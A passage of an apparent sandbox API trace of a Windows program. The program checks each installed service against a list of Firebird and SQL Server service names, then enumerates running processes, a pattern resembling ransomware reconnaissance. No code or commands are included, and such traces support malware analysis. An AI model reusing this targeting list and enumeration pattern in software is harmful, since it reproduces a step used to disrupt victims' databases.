	[0151.318] lstrlenW (lpString="EventSystem") returned 11
	[0151.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0151.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0151.318] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0151.318] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0151.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0151.318] lstrlenW (lpString="FontCache") returned 9
	[0151.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0151.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0151.318] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0151.318] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0151.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0151.318] lstrlenW (lpString="gpsvc") returned 5
	[0151.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0151.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0151.318] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0151.318] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0151.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0151.318] lstrlenW (lpString="iphlpsvc") returned 8
	[0151.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0151.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0151.318] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0151.318] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0151.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0151.318] lstrlenW (lpString="KeyIso") returned 6
	[0151.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0151.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0151.318] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0151.318] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0151.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0151.318] lstrlenW (lpString="LanmanServer") returned 12
	[0151.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0151.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0151.319] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0151.319] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0151.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0151.319] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0151.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0151.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0151.319] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0151.319] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0151.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0151.319] lstrlenW (lpString="lfsvc") returned 5
	[0151.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0151.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0151.319] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0151.319] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0151.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0151.319] lstrlenW (lpString="lmhosts") returned 7
	[0151.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0151.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0151.319] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0151.319] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0151.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0151.319] lstrlenW (lpString="LSM") returned 3
	[0151.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0151.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0151.319] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0151.319] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0151.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0151.319] lstrlenW (lpString="MpsSvc") returned 6
	[0151.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0151.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0151.319] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0151.319] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0151.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0151.319] lstrlenW (lpString="NcbService") returned 10
	[0151.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0151.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0151.320] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0151.320] lstrlenW (lpString="netprofm") returned 8
	[0151.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0151.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0151.320] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0151.320] lstrlenW (lpString="NgcSvc") returned 6
	[0151.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0151.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0151.320] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0151.320] lstrlenW (lpString="NlaSvc") returned 6
	[0151.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0151.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0151.320] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0151.320] lstrlenW (lpString="nsi") returned 3
	[0151.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0151.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0151.320] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0151.320] lstrlenW (lpString="PcaSvc") returned 6
	[0151.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0151.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0151.320] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0151.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0151.320] lstrlenW (lpString="PlugPlay") returned 8
	[0151.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0151.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0151.321] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0151.321] lstrlenW (lpString="Power") returned 5
	[0151.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0151.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0151.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0151.321] lstrlenW (lpString="ProfSvc") returned 7
	[0151.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0151.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0151.321] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0151.321] lstrlenW (lpString="RpcEptMapper") returned 12
	[0151.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0151.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0151.321] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0151.321] lstrlenW (lpString="RpcSs") returned 5
	[0151.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0151.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0151.321] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0151.321] lstrlenW (lpString="SamSs") returned 5
	[0151.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0151.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0151.321] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0151.321] lstrlenW (lpString="Schedule") returned 8
	[0151.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0151.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0151.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0151.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0151.322] lstrlenW (lpString="SecurityHealthService") returned 21
	[0151.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0151.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0151.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0151.322] lstrlenW (lpString="SENS") returned 4
	[0151.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0151.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0151.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0151.322] lstrlenW (lpString="ShellHWDetection") returned 16
	[0151.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0151.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0151.322] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0151.322] lstrlenW (lpString="Spooler") returned 7
	[0151.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0151.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0151.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0151.322] lstrlenW (lpString="StateRepository") returned 15
	[0151.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0151.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0151.322] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0151.322] lstrlenW (lpString="SysMain") returned 7
	[0151.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0151.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0151.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0151.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0151.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0151.323] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0151.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0151.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0151.323] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0151.323] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0151.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0151.323] lstrlenW (lpString="Themes") returned 6
	[0151.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0151.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0151.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0151.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0151.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0151.323] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0151.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0151.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0151.323] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0151.323] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0151.323] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61e6d0 | out: hHeap=0x5a0000) returned 1
	[0151.323] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x278
	[0151.329] Process32FirstW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0151.329] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0151.330] lstrlenW (lpString="System") returned 6
	[0151.330] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0151.330] lstrlenW (lpString="smss.exe") returned 8
	[0151.330] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0151.331] lstrlenW (lpString="csrss.exe") returned 9
	[0151.331] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0151.331] lstrlenW (lpString="wininit.exe") returned 11
	[0151.331] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0151.331] lstrlenW (lpString="csrss.exe") returned 9
	[0151.332] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0151.332] lstrlenW (lpString="winlogon.exe") returned 12
	[0151.332] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0151.332] lstrlenW (lpString="services.exe") returned 12
	[0151.332] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0151.333] lstrlenW (lpString="lsass.exe") returned 9
	[0151.333] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0151.333] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0151.333] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0151.334] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0151.334] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.334] lstrlenW (lpString="svchost.exe") returned 11
	[0151.334] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.335] lstrlenW (lpString="svchost.exe") returned 11
	[0151.335] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0151.335] lstrlenW (lpString="dwm.exe") returned 7
	[0151.335] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.336] lstrlenW (lpString="svchost.exe") returned 11
	[0151.336] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.336] lstrlenW (lpString="svchost.exe") returned 11
	[0151.336] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.337] lstrlenW (lpString="svchost.exe") returned 11
	[0151.337] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.337] lstrlenW (lpString="svchost.exe") returned 11
	[0151.337] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.337] lstrlenW (lpString="svchost.exe") returned 11
	[0151.338] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.338] lstrlenW (lpString="svchost.exe") returned 11
	[0151.338] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.338] lstrlenW (lpString="svchost.exe") returned 11
	[0151.338] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.339] lstrlenW (lpString="svchost.exe") returned 11
	[0151.339] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.339] lstrlenW (lpString="svchost.exe") returned 11
	[0151.339] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.340] lstrlenW (lpString="svchost.exe") returned 11
	[0151.340] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0151.340] lstrlenW (lpString="spoolsv.exe") returned 11
	[0151.340] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.341] lstrlenW (lpString="svchost.exe") returned 11
	[0151.341] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0151.341] lstrlenW (lpString="audiodg.exe") returned 11
	[0151.341] Process32NextW (in: hSnapshot=0x278, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0151.431] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
